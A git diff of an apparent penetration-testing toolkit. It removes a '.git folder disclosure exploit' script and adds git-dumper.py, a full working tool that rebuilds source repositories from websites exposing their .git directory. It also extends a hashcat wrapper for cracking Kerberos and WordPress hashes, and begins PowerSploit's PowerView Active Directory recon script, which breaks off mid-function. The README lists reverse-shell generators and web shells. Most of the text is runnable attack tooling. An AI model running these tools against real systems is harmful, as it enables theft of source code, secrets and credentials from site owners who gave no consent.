diff --git a/GitHack.py b/GitHack.py deleted file mode 100644 index c5897c0..0000000 --- a/GitHack.py +++ /dev/null @@ -1,236 +0,0 @@ -#!/usr/bin/env python - -from urllib.parse import urlparse -import threading -import collections -import binascii -import requests -import struct -import queue -import time -import ssl -import sys -import os -import re - -def check(boolean, message): - if not boolean: - print("error: " + message) - exit(1) - -def parse(filename, pretty=True): - with open(filename, "rb") as f: - # f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) - - def read(format): - # "All binary numbers are in network byte order." - # Hence "!" = network order, big endian - format = "! " + format - bytes = f.read(struct.calcsize(format)) - return struct.unpack(format, bytes)[0] - - index = collections.OrderedDict() - - # 4-byte signature, b"DIRC" - index["signature"] = f.read(4).decode("ascii") - check(index["signature"] == "DIRC", "Not a Git index file") - - # 4-byte version number - index["version"] = read("I") - check(index["version"] in {2, 3}, - "Unsupported version: %s" % index["version"]) - - # 32-bit number of index entries, i.e. 4-byte - index["entries"] = read("I") - - yield index - - for n in range(index["entries"]): - entry = collections.OrderedDict() - - entry["entry"] = n + 1 - - entry["ctime_seconds"] = read("I") - entry["ctime_nanoseconds"] = read("I") - if pretty: - entry["ctime"] = entry["ctime_seconds"] - entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 - del entry["ctime_seconds"] - del entry["ctime_nanoseconds"] - - entry["mtime_seconds"] = read("I") - entry["mtime_nanoseconds"] = read("I") - if pretty: - entry["mtime"] = entry["mtime_seconds"] - entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 - del entry["mtime_seconds"] - del entry["mtime_nanoseconds"] - - entry["dev"] = read("I") - entry["ino"] = read("I") - - # 4-bit object type, 3-bit unused, 9-bit unix permission - entry["mode"] = read("I") - if pretty: - entry["mode"] = "%06o" % entry["mode"] - - entry["uid"] = read("I") - entry["gid"] = read("I") - entry["size"] = read("I") - - entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") - entry["flags"] = read("H") - - # 1-bit assume-valid - entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) - # 1-bit extended, must be 0 in version 2 - entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) - # 2-bit stage (?) - stage_one = bool(entry["flags"] & (0b00100000 << 8)) - stage_two = bool(entry["flags"] & (0b00010000 << 8)) - entry["stage"] = stage_one, stage_two - # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) - namelen = entry["flags"] & 0xFFF - - # 62 bytes so far - entrylen = 62 - - if entry["extended"] and (index["version"] == 3): - entry["extra-flags"] = read("H") - # 1-bit reserved - entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) - # 1-bit skip-worktree - entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) - # 1-bit intent-to-add - entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) - # 13-bits unused - # used = entry["extra-flags"] & (0b11100000 << 8) - # check(not used, "Expected unused bits in extra-flags") - entrylen += 2 - - if namelen < 0xFFF: - entry["name"] = f.read(namelen).decode("utf-8", "replace") - entrylen += namelen - else: - # Do it the hard way - name = [] - while True: - byte = f.read(1) - if byte == "\x00": - break - name.append(byte) - entry["name"] = b"".join(name).decode("utf-8", "replace") - entrylen += 1 - - padlen = (8 - (entrylen % 8)) or 8 - nuls = f.read(padlen) - check(set(nuls) == set([0]), "padding contained non-NUL") - - yield entry - - f.close() - -class Scanner(object): - def __init__(self): - self.base_url = sys.argv[-1] - - self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_') - if not os.path.exists(self.domain): - os.mkdir(self.domain) - - print('[+] Download and parse index file ...') - data = self._request_data(sys.argv[-1] + '/index') - with open('%s/index' % self.domain, 'wb') as f: - f.write(data) - self.queue = queue.Queue() - for entry in parse('index'): - if "sha1" in entry.keys(): - self.queue.put((entry["sha1"].strip(), entry["name"].strip())) - try: - print(entry['name']) - except Exception as e: - pass - self.lock = threading.Lock() - self.thread_count = 20 - self.STOP_ME = False - - @staticmethod - def _request_data(url): - print(url) - res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'}) - if res.status_code != 200: - raise Exception("Server returned: %d %s" % (res.status_code, res.reason)) - - return res.content - - def _print(self, msg): - self.lock.acquire() - try: - print(msg) - except Exception as e: - pass - self.lock.release() - - def get_back_file(self): - - while not self.STOP_ME: - - try: - sha1, file_name = self.queue.get(timeout=0.5) - except Exception as e: - break - - try: - folder = '/objects/%s/' % sha1[:2] - data = self._request_data(self.base_url + folder + sha1[2:]) - try: - data = zlib.decompress(data) - data = re.sub(r'blob \d+\00', '', data) - except: - # self._print('[Error] Fail to decompress %s' % file_name) - pass - - target_dir = os.path.join(self.domain, os.path.dirname(file_name)) - if target_dir and not os.path.exists(target_dir): - os.makedirs(target_dir) - with open(os.path.join(self.domain, file_name), 'wb') as f: - f.write(data) - self._print('[OK] %s' % file_name) - except Exception as e: - self._print('[Error] %s' % str(e)) - - self.exit_thread() - - def exit_thread(self): - self.lock.acquire() - self.thread_count -= 1 - self.lock.release() - - def scan(self): - for i in range(self.thread_count): - t = threading.Thread(target=self.get_back_file) - t.start() - - -if __name__ == '__main__': - context = ssl._create_unverified_context() - if len(sys.argv) == 1: - msg = """ - A `.git` folder disclosure exploit. By LiJieJie - - Usage: GitHack.py http://www.target.com/.git/ - - bug-report: my[at]lijiejie.com (http://www.lijiejie.com) - """ - print(msg) - exit() - - s = Scanner() - s.scan() - try: - while s.thread_count > 0: - time.sleep(0.1) - except KeyboardInterrupt as e: - s.STOP_ME = True - time.sleep(1.0) - print('User Aborted.') diff --git a/README.md b/README.md index d13438c..af283dd 100644 --- a/README.md +++ b/README.md @@ -3,10 +3,10 @@ This repository contains self-made and common scripts for information gathering, enumeration and more. ### Enumeration: Initial Scans -- first_scan.sh: Performs initial nmap scan (-A, -T5, -p-) +- first_scan.sh: Performs initial nmap scan - gobuster.sh: Performs gobuster dir scan with raft-large-words-lowercase.txt - ssh-check-username.py: Check if user enumeration works for ssh -- GitHack.py +- [git-dumper.py](https://github.com/arthaud/git-dumper) - [autorecon.py](https://github.com/Tib3rius/AutoRecon) - subdomainFuzz.sh: Fuzzes subdomains for a given domain @@ -22,7 +22,7 @@ This repository contains self-made and common scripts for information gathering, - genRevShell.py: Generates a reverse shell command (e.g. netcat, python, ...) - [php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell) - [p0wny-shell.php](https://github.com/flozz/p0wny-shell) -- [powercat.ps1][https://github.com/besimorhino/powercat] +- [powercat.ps1](https://github.com/besimorhino/powercat) ### Miscellaneous - upload_file.py: Starts a local tcp server, for netcat usage diff --git a/crack_hash.py b/crack_hash.py old mode 100644 new mode 100755 index 58bea2f..3f8579d --- a/crack_hash.py +++ b/crack_hash.py @@ -21,6 +21,7 @@ class HashType(enum.Enum): RAW_MD5 = 0 MD5_PASS_SALT = 10 MD5_SALT_PASS = 20 + WORDPRESS = 400 # SHA1 RAW_SHA1 = 100 @@ -57,6 +58,11 @@ class HashType(enum.Enum): CRYPT_SHA512 = 1800 CRYPT_APACHE = 1600 + # Kerberos + KERBEROS_AS_REQ = 7500 + KERBEROS_TGS_REP = 13100 + KERBEROS_AS_REP = 18200 + class Hash: def __init__(self, hash): @@ -84,6 +90,14 @@ class Hash: self.type.append(HashType.CRYPT_SHA512) elif crypt_type == "apr1": self.type.append(HashType.CRYPT_APACHE) + elif crypt_type == "krb5tgs": + self.type.append(HashType.KERBEROS_TGS_REP) + elif crypt_type == "krb5asreq": + self.type.append(HashType.KERBEROS_AS_REQ) + elif crypt_type == "krb5asrep": + self.type.append(HashType.KERBEROS_AS_REP) + elif crypt_type == "P": + self.type.append(HashType.WORDPRESS) else: self.isSalted = ":" in raw_hash if self.isSalted: @@ -144,6 +158,7 @@ if len(sys.argv) < 2: exit(1) hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])] +wordlist = "/usr/share/wordlists/rockyou.txt" if len(sys.argv) < 3 else sys.argv[2] uncracked_hashes = { } for hash in hashes: @@ -156,7 +171,7 @@ for hash in hashes: if len(uncracked_hashes) > 0: uncracked_types = list(uncracked_hashes.keys()) num_types = len(uncracked_types) - if num_types > 0: + if num_types > 1: print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:") print() @@ -187,6 +202,6 @@ if len(uncracked_hashes) > 0: fp.write(b"%s\n" % hash.hash.encode("UTF-8")) fp.flush() - proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"]) + proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist, "--force"]) proc.wait() fp.close() diff --git a/git-dumper.py b/git-dumper.py new file mode 100755 index 0000000..5c85b00 --- /dev/null +++ b/git-dumper.py @@ -0,0 +1,556 @@ +#!/usr/bin/env python3 +from contextlib import closing +import argparse +import multiprocessing +import os +import os.path +import re +import socket +import subprocess +import sys +import urllib.parse +import urllib3 + +import bs4 +import dulwich.index +import dulwich.objects +import dulwich.pack +import requests +import socks + +USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" + +def printf(fmt, *args, file=sys.stdout): + if args: + fmt = fmt % args + + file.write(fmt) + file.flush() + + +def is_html(response): + ''' Return True if the response is a HTML webpage ''' + return '' in response.text + + +def get_indexed_files(response): + ''' Return all the files in the directory index webpage ''' + html = bs4.BeautifulSoup(response.text, 'html.parser') + files = [] + + for link in html.find_all('a'): + url = urllib.parse.urlparse(link.get('href')) + + if (url.path and + url.path != '.' and + url.path != '..' and + not url.path.startswith('/') and + not url.scheme and + not url.netloc): + files.append(url.path) + + return files + + +def create_intermediate_dirs(path): + ''' Create intermediate directories, if necessary ''' + + dirname, basename = os.path.split(path) + + if dirname and not os.path.exists(dirname): + try: + os.makedirs(dirname) + except FileExistsError: + pass # race condition + + +def get_referenced_sha1(obj_file): + ''' Return all the referenced SHA1 in the given object file ''' + objs = [] + + if isinstance(obj_file, dulwich.objects.Commit): + objs.append(obj_file.tree.decode()) + + for parent in obj_file.parents: + objs.append(parent.decode()) + elif isinstance(obj_file, dulwich.objects.Tree): + for item in obj_file.iteritems(): + objs.append(item.sha.decode()) + elif isinstance(obj_file, dulwich.objects.Blob): + pass + else: + printf('error: unexpected object type: %r\n' % obj_file, file=sys.stderr) + sys.exit(1) + + return objs + + +class Worker(multiprocessing.Process): + ''' Worker for process_tasks ''' + + def __init__(self, pending_tasks, tasks_done, args): + super().__init__() + self.daemon = True + self.pending_tasks = pending_tasks + self.tasks_done = tasks_done + self.args = args + + def run(self): + # initialize process + self.init(*self.args) + + # fetch and do tasks + while True: + task = self.pending_tasks.get(block=True) + + if task is None: # end signal + return + + result = self.do_task(task, *self.args) + + assert isinstance(result, list), 'do_task() should return a list of tasks' + + self.tasks_done.put(result) + + def init(self, *args): + raise NotImplementedError + + def do_task(self, task, *args): + raise NotImplementedError + + +def process_tasks(initial_tasks, worker, jobs, args=(), tasks_done=None): + ''' Process tasks in parallel ''' + + if not initial_tasks: + return + + tasks_seen = set(tasks_done) if tasks_done else set() + pending_tasks = multiprocessing.Queue() + tasks_done = multiprocessing.Queue() + num_pending_tasks = 0 + + # add all initial tasks in the queue + for task in initial_tasks: + assert task is not None + + if task not in tasks_seen: + pending_tasks.put(task) + num_pending_tasks += 1 + tasks_seen.add(task) + + # initialize processes + processes = [worker(pending_tasks, tasks_done, args) for _ in range(jobs)] + + # launch them all + for p in processes: + p.start() + + # collect task results + while num_pending_tasks > 0: + task_result = tasks_done.get(block=True) + num_pending_tasks -= 1 + + for task in task_result: + assert task is not None + + if task not in tasks_seen: + pending_tasks.put(task) + num_pending_tasks += 1 + tasks_seen.add(task) + + # send termination signal (task=None) + for _ in range(jobs): + pending_tasks.put(None) + + # join all + for p in processes: + p.join() + + +class DownloadWorker(Worker): + ''' Download a list of files ''' + + def init(self, url, directory, retry, timeout): + self.session = requests.Session() + self.session.verify = False + self.session.mount(url, requests.adapters.HTTPAdapter(max_retries=retry)) + + def do_task(self, filepath, url, directory, retry, timeout): + with closing(self.session.get('%s/%s' % (url, filepath), + allow_redirects=False, + stream=True, + timeout=timeout, + headers={"User-Agent": USER_AGENT})) as response: + printf('[-] Fetching %s/%s [%d]\n', url, filepath, response.status_code) + + if response.status_code != 200: + return [] + + abspath = os.path.abspath(os.path.join(directory, filepath)) + create_intermediate_dirs(abspath) + + # write file + with open(abspath, 'wb') as f: + for chunk in response.iter_content(4096): + f.write(chunk) + + return [] + + +class RecursiveDownloadWorker(DownloadWorker): + ''' Download a directory recursively ''' + + def do_task(self, filepath, url, directory, retry, timeout): + with closing(self.session.get('%s/%s' % (url, filepath), + allow_redirects=False, + stream=True, + timeout=timeout, + headers={"User-Agent": USER_AGENT})) as response: + printf('[-] Fetching %s/%s [%d]\n', url, filepath, response.status_code) + + if (response.status_code in (301, 302) and + 'Location' in response.headers and + response.headers['Location'].endswith(filepath + '/')): + return [filepath + '/'] + + if response.status_code != 200: + return [] + + if filepath.endswith('/'): # directory index + assert is_html(response) + + return [filepath + filename for filename in get_indexed_files(response)] + else: # file + abspath = os.path.abspath(os.path.join(directory, filepath)) + create_intermediate_dirs(abspath) + + # write file + with open(abspath, 'wb') as f: + for chunk in response.iter_content(4096): + f.write(chunk) + + return [] + + +class FindRefsWorker(DownloadWorker): + ''' Find refs/ ''' + + def do_task(self, filepath, url, directory, retry, timeout): + response = self.session.get('%s/%s' % (url, filepath), + allow_redirects=False, + timeout=timeout, + headers={"User-Agent": USER_AGENT}) + printf('[-] Fetching %s/%s [%d]\n', url, filepath, response.status_code) + + if response.status_code != 200: + return [] + + abspath = os.path.abspath(os.path.join(directory, filepath)) + create_intermediate_dirs(abspath) + + # write file + with open(abspath, 'w') as f: + f.write(response.text) + + # find refs + tasks = [] + + for ref in re.findall(r'(refs(/[a-zA-Z0-9\-\.\_\*]+)+)', response.text): + ref = ref[0] + if not ref.endswith('*'): + tasks.append('.git/%s' % ref) + tasks.append('.git/logs/%s' % ref) + + return tasks + + +class FindObjectsWorker(DownloadWorker): + ''' Find objects ''' + + def do_task(self, obj, url, directory, retry, timeout): + filepath = '.git/objects/%s/%s' % (obj[:2], obj[2:]) + response = self.session.get('%s/%s' % (url, filepath), + allow_redirects=False, + timeout=timeout, + headers={"User-Agent": USER_AGENT}) + printf('[-] Fetching %s/%s [%d]\n', url, filepath, response.status_code) + + if response.status_code != 200: + return [] + + abspath = os.path.abspath(os.path.join(directory, filepath)) + create_intermediate_dirs(abspath) + + # write file + with open(abspath, 'wb') as f: + f.write(response.content) + + # parse object file to find other objects + obj_file = dulwich.objects.ShaFile.from_path(abspath) + return get_referenced_sha1(obj_file) + + +def fetch_git(url, directory, jobs, retry, timeout): + ''' Dump a git repository into the output directory ''' + + assert os.path.isdir(directory), '%s is not a directory' % directory + assert not os.listdir(directory), '%s is not empty' % directory + assert jobs >= 1, 'invalid number of jobs' + assert retry >= 1, 'invalid number of retries' + assert timeout >= 1, 'invalid timeout' + + # find base url + if not url.startswith("http://") and not url.startswith("https://"): + url = "http://" + url + + url = url.rstrip('/') + if url.endswith('HEAD'): + url = url[:-4] + url = url.rstrip('/') + if url.endswith('.git'): + url = url[:-4] + url = url.rstrip('/') + + # check for /.git/HEAD + printf('[-] Testing %s/.git/HEAD ', url) + response = requests.get('%s/.git/HEAD' % url, verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT}) + printf('[%d]\n', response.status_code) + + if response.status_code != 200: + printf('error: %s/.git/HEAD does not exist\n', url, file=sys.stderr) + return 1 + elif not response.text.startswith('ref:'): + printf('error: %s/.git/HEAD is not a git HEAD file\n', url, file=sys.stderr) + return 1 + + # check for directory listing + printf('[-] Testing %s/.git/ ', url) + response = requests.get('%s/.git/' % url, verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT}) + printf('[%d]\n', response.status_code) + + if response.status_code == 200 and is_html(response) and 'HEAD' in get_indexed_files(response): + printf('[-] Fetching .git recursively\n') + process_tasks(['.git/', '.gitignore'], + RecursiveDownloadWorker, + jobs, + args=(url, directory, retry, timeout)) + + printf('[-] Running git checkout .\n') + os.chdir(directory) + subprocess.check_call(['git', 'checkout', '.']) + return 0 + + # no directory listing + printf('[-] Fetching common files\n') + tasks = [ + '.gitignore', + '.git/COMMIT_EDITMSG', + '.git/description', + '.git/hooks/applypatch-msg.sample', + '.git/hooks/applypatch-msg.sample', + '.git/hooks/applypatch-msg.sample', + '.git/hooks/commit-msg.sample', + '.git/hooks/post-commit.sample', + '.git/hooks/post-receive.sample', + '.git/hooks/post-update.sample', + '.git/hooks/pre-applypatch.sample', + '.git/hooks/pre-commit.sample', + '.git/hooks/pre-push.sample', + '.git/hooks/pre-rebase.sample', + '.git/hooks/pre-receive.sample', + '.git/hooks/prepare-commit-msg.sample', + '.git/hooks/update.sample', + '.git/index', + '.git/info/exclude', + '.git/objects/info/packs', + ] + process_tasks(tasks, + DownloadWorker, + jobs, + args=(url, directory, retry, timeout)) + + # find refs + printf('[-] Finding refs/\n') + tasks = [ + '.git/FETCH_HEAD', + '.git/HEAD', + '.git/ORIG_HEAD', + '.git/config', + '.git/info/refs', + '.git/logs/HEAD', + '.git/logs/refs/heads/master', + '.git/logs/refs/remotes/origin/HEAD', + '.git/logs/refs/remotes/origin/master', + '.git/logs/refs/stash', + '.git/packed-refs', + '.git/refs/heads/master', + '.git/refs/remotes/origin/HEAD', + '.git/refs/remotes/origin/master', + '.git/refs/stash', + '.git/refs/wip/wtree/refs/heads/master', #Magit + '.git/refs/wip/index/refs/heads/master' #Magit + ] + + process_tasks(tasks, + FindRefsWorker, + jobs, + args=(url, directory, retry, timeout)) + + # find packs + printf('[-] Finding packs\n') + tasks = [] + + # use .git/objects/info/packs to find packs + info_packs_path = os.path.join(directory, '.git', 'objects', 'info', 'packs') + if os.path.exists(info_packs_path): + with open(info_packs_path, 'r') as f: + info_packs = f.read() + + for sha1 in re.findall(r'pack-([a-f0-9]{40})\.pack', info_packs): + tasks.append('.git/objects/pack/pack-%s.idx' % sha1) + tasks.append('.git/objects/pack/pack-%s.pack' % sha1) + + process_tasks(tasks, + DownloadWorker, + jobs, + args=(url, directory, retry, timeout)) + + # find objects + printf('[-] Finding objects\n') + objs = set() + packed_objs = set() + + # .git/packed-refs, .git/info/refs, .git/refs/*, .git/logs/* + files = [ + os.path.join(directory, '.git', 'packed-refs'), + os.path.join(directory, '.git', 'info', 'refs'), + os.path.join(directory, '.git', 'FETCH_HEAD'), + os.path.join(directory, '.git', 'ORIG_HEAD'), + ] + for dirpath, _, filenames in os.walk(os.path.join(directory, '.git', 'refs')): + for filename in filenames: + files.append(os.path.join(dirpath, filename)) + for dirpath, _, filenames in os.walk(os.path.join(directory, '.git', 'logs')): + for filename in filenames: + files.append(os.path.join(dirpath, filename)) + + for filepath in files: + if not os.path.exists(filepath): + continue + + with open(filepath, 'r') as f: + content = f.read() + + for obj in re.findall(r'(^|\s)([a-f0-9]{40})($|\s)', content): + obj = obj[1] + objs.add(obj) + + # use .git/index to find objects + index_path = os.path.join(directory, '.git', 'index') + if os.path.exists(index_path): + index = dulwich.index.Index(index_path) + + for entry in index.iterblobs(): + objs.add(entry[1].decode()) + + # use packs to find more objects to fetch, and objects that are packed + pack_file_dir = os.path.join(directory, '.git', 'objects', 'pack') + if os.path.isdir(pack_file_dir): + for filename in os.listdir(pack_file_dir): + if filename.startswith('pack-') and filename.endswith('.pack'): + pack_data_path = os.path.join(pack_file_dir, filename) + pack_idx_path = os.path.join(pack_file_dir, filename[:-5] + '.idx') + pack_data = dulwich.pack.PackData(pack_data_path) + pack_idx = dulwich.pack.load_pack_index(pack_idx_path) + pack = dulwich.pack.Pack.from_objects(pack_data, pack_idx) + + for obj_file in pack.iterobjects(): + packed_objs.add(obj_file.sha().hexdigest()) + objs |= set(get_referenced_sha1(obj_file)) + + # fetch all objects + printf('[-] Fetching objects\n') + process_tasks(objs, + FindObjectsWorker, + jobs, + args=(url, directory, retry, timeout), + tasks_done=packed_objs) + + # git checkout + printf('[-] Running git checkout .\n') + os.chdir(directory) + + # ignore errors + subprocess.call(['git', 'checkout', '.'], stderr=open(os.devnull, 'wb')) + + return 0 + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(usage='%(prog)s [options] URL DIR', + description='Dump a git repository from a website.') + parser.add_argument('url', metavar='URL', + help='url') + parser.add_argument('directory', metavar='DIR', + help='output directory') + parser.add_argument('--proxy', + help='use the specified proxy') + parser.add_argument('-j', '--jobs', type=int, default=10, + help='number of simultaneous requests') + parser.add_argument('-r', '--retry', type=int, default=3, + help='number of request attempts before giving up') + parser.add_argument('-t', '--timeout', type=int, default=3, + help='maximum time in seconds before giving up') + args = parser.parse_args() + + # jobs + if args.jobs < 1: + parser.error('invalid number of jobs') + + # retry + if args.retry < 1: + parser.error('invalid number of retries') + + # timeout + if args.timeout < 1: + parser.error('invalid timeout') + + # proxy + if args.proxy: + proxy_valid = False + + for pattern, proxy_type in [ + (r'^socks5:(.*):(\d+)$', socks.PROXY_TYPE_SOCKS5), + (r'^socks4:(.*):(\d+)$', socks.PROXY_TYPE_SOCKS4), + (r'^http://(.*):(\d+)$', socks.PROXY_TYPE_HTTP), + (r'^(.*):(\d+)$', socks.PROXY_TYPE_SOCKS5)]: + m = re.match(pattern, args.proxy) + if m: + socks.setdefaultproxy(proxy_type, m.group(1), int(m.group(2))) + socket.socket = socks.socksocket + proxy_valid = True + break + + if not proxy_valid: + parser.error('invalid proxy') + + # output directory + if not os.path.exists(args.directory): + os.makedirs(args.directory) + + if not os.path.isdir(args.directory): + parser.error('%s is not a directory' % args.directory) + + if os.listdir(args.directory): + parser.error('%s is not empty' % args.directory) + + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + # fetch everything + code = fetch_git(args.url, args.directory, args.jobs, args.retry, args.timeout) + path = os.path.realpath(args.directory) + if not os.listdir(path): + os.rmdir(path) + + sys.exit(code) diff --git a/util.py b/util.py index 43ce197..4b72381 100644 --- a/util.py +++ b/util.py @@ -1,6 +1,7 @@ import random import socket import netifaces as ni +import sys def getAddress(interface="tun0"): if not interface in ni.interfaces(): @@ -35,3 +36,14 @@ def openServer(address, ports=None): if not retry: print("Unable to listen on port %d: %s" % (listenPort, str(e))) raise e + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: %s [command]" % sys.argv[0]) + exit(1) + + if sys.argv[1] == "getAddress": + if len(sys.argv) > 2: + print(getAddress(sys.argv[2])) + else: + print(getAddress()) diff --git a/win/PowerView.ps1 b/win/PowerView.ps1 new file mode 100644 index 0000000..2dc5234 --- /dev/null +++ b/win/PowerView.ps1 @@ -0,0 +1,20914 @@ +#requires -version 2 + +<# + +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +#> + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if 